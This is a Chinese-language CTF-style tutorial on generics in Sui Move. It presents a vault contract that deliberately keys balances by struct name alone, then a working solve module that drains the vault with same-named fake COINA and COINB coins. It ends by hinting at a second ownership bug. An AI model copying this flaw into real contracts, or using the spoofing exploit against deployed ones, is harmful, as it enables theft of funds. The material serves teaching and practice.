多样的泛型¶
介绍¶
泛型可用于定义基于不同输入数据类型的函数和结构,例如标准库中的vector
,允许你在多种类型多种情况下复用同一份实现。
对于一个泛型<T>
,模块std::type_name
中提供了获取该类型相关信息的方法:get_address
,get_module
,基于此,还可以推得该泛型的名称。
例题¶
接下来,考虑这么一个问题:
coina.move:
module generics::coina;
use sui::coin;
public struct COINA has drop {}
fun init(otw: COINA, ctx: &mut TxContext) {
let (treasury, metadata) = coin::create_currency(
otw,
6,
b"COINA",
b"COINA",
b"COINA Coin",
option::none(),
ctx
);
transfer::public_share_object(treasury);
transfer::public_freeze_object(metadata);
}
coinb.move:
module generics::coinb;
use sui::coin;
public struct COINB has drop {}
fun init(otw: COINB, ctx: &mut TxContext) {
let (treasury, metadata) = coin::create_currency(
otw,
6,
b"COINB",
b"COINB",
b"COINB Coin",
option::none(),
ctx
);
transfer::public_share_object(treasury);
transfer::public_freeze_object(metadata);
}
generics.move:
module generics::generics;
use std::string::String;
use std::type_name;
use sui::bag::{Self, Bag};
use sui::balance::{Self, Balance};
use sui::coin::{Coin, TreasuryCap};
use sui::event;
use sui::table::{Self, Table};
use generics::coina::COINA;
use generics::coinb::COINB;
const EAlreadyMinted: u64 = 0;
const ENotEnoughBalance: u64 = 1;
const ENotAllZero: u64 = 2;
public struct Treasury<phantom T> has store {
records: Table<address, u64>,
balance: Balance<T>
}
public struct Supply has key {
id: UID,
treasury: Bag
}
public struct Flag has copy, drop {
owner: address,
success: bool
}
fun init(ctx: &mut TxContext) {
transfer::share_object(Supply {
id: object::new(ctx),
treasury: bag::new(ctx)
});
}
fun get_coin_key<T>(): String {
let type_name = type_name::get<T>();
let address_len = type_name.get_address().length();
let module_len = type_name.get_module().length();
let full_len = type_name.borrow_string().length();
type_name.borrow_string().substring(address_len + module_len + 4, full_len).to_string()
}
fun deposit<T>(supply: &mut Supply, coin: Coin<T>, ctx: &mut TxContext) {
let key = get_coin_key<T>();
if (!supply.treasury.contains(key)) {
supply.treasury.add(key, Treasury<T> {
records: table::new(ctx),
balance: balance::zero()
});
};
let treasury: &mut Treasury<T> = &mut supply.treasury[key];
if (!treasury.records.contains(ctx.sender())) {
treasury.records.add(ctx.sender(), 0);
};
let record = &mut treasury.records[ctx.sender()];
*record = *record + coin.value();
treasury.balance.join(coin.into_balance());
}
public fun mint(supply: &mut Supply, coin_a_cap: &mut TreasuryCap<COINA>, coin_b_cap: &mut TreasuryCap<COINB>, ctx: &mut TxContext) {
assert!(supply.treasury.length() == 0, EAlreadyMinted);
let coin_a = coin_a_cap.mint(666666, ctx);
let coin_b = coin_b_cap.mint(999999, ctx);
deposit(supply, coin_a, ctx);
deposit(supply, coin_b, ctx);
}
#[allow(lint(self_transfer))]
fun withdraw_a<T>(supply: &mut Supply, amount: u64, ctx: &mut TxContext) {
let key = get_coin_key<T>();
let treasury: &mut Treasury<COINA> = &mut supply.treasury[key];
let record = &mut treasury.records[ctx.sender()];
assert!(*record >= amount, ENotEnoughBalance);
*record = *record - amount;
transfer::public_transfer(treasury.balance.split(amount).into_coin(ctx), ctx.sender());
}
#[allow(lint(self_transfer))]
fun withdraw_b<T>(supply: &mut Supply, amount: u64, ctx: &mut TxContext) {
let key = get_coin_key<T>();
let treasury: &mut Treasury<COINB> = &mut supply.treasury[key];
let record = &mut treasury.records[ctx.sender()];
assert!(*record >= amount, ENotEnoughBalance);
*record = *record - amount;
transfer::public_transfer(treasury.balance.split(amount).into_coin(ctx), ctx.sender());
}
public fun withdraw<T, U>(supply: &mut Supply, coin_a: Coin<T>, coin_b: Coin<U>, ctx: &mut TxContext): (Coin<T>, Coin<U>) {
supply.withdraw_a<T>(coin_a.value(), ctx);
supply.withdraw_b<U>(coin_b.value(), ctx);
(coin_a, coin_b)
}
fun check<T>(supply: &Supply): bool {
let key = get_coin_key<T>();
let treasury: &Treasury<T> = &supply.treasury[key];
treasury.balance.value() == 0
}
public fun get_flag(supply: &Supply, ctx: &TxContext) {
assert!(supply.check<COINA>() && supply.check<COINB>(), ENotAllZero);
event::emit(Flag {
owner: ctx.sender(),
success: true
});
}
withdraw
需要传入两种与各自存款相同数量的币,但铸币函数mint
看起来只可以被调用一次?
观察函数get_coin_key
可以发现,作为key
的只是泛型T
的结构名,所以可以构造同名的COINA
和COINB
来绕过检测,取空Supply
中的所有余额,达成get_flag
的条件。
module solve::solve;
use sui::coin::TreasuryCap;
use solve::coina::COINA as FAKECOINA;
use solve::coinb::COINB as FAKECOINB;
use generics::coina::COINA;
use generics::coinb::COINB;
use generics::generics::Supply;
entry fun solve(
supply: &mut Supply,
coin_a_cap: &mut TreasuryCap<COINA>,
coin_b_cap: &mut TreasuryCap<COINB>,
fake_coin_a_cap: &mut TreasuryCap<FAKECOINA>,
fake_coin_b_cap: &mut TreasuryCap<FAKECOINB>,
ctx: &mut TxContext
) {
supply.mint(coin_a_cap, coin_b_cap, ctx);
let fake_coin_a = fake_coin_a_cap.mint(666666, ctx);
let fake_coin_b = fake_coin_b_cap.mint(999999, ctx);
let (fake_coin_a, fake_coin_b) = supply.withdraw(fake_coin_a, fake_coin_b, ctx);
supply.get_flag(ctx);
transfer::public_transfer(fake_coin_a, ctx.sender());
transfer::public_transfer(fake_coin_b, ctx.sender());
}
拓展¶
再次审查本文例题,还潜藏着一个与所有权相关的漏洞,同样能够达成get_flag
的条件,交由你自行探索!!!
不要被文字诱导,被表面的假象牵着鼻子走,你值得更简单高效的解法!!!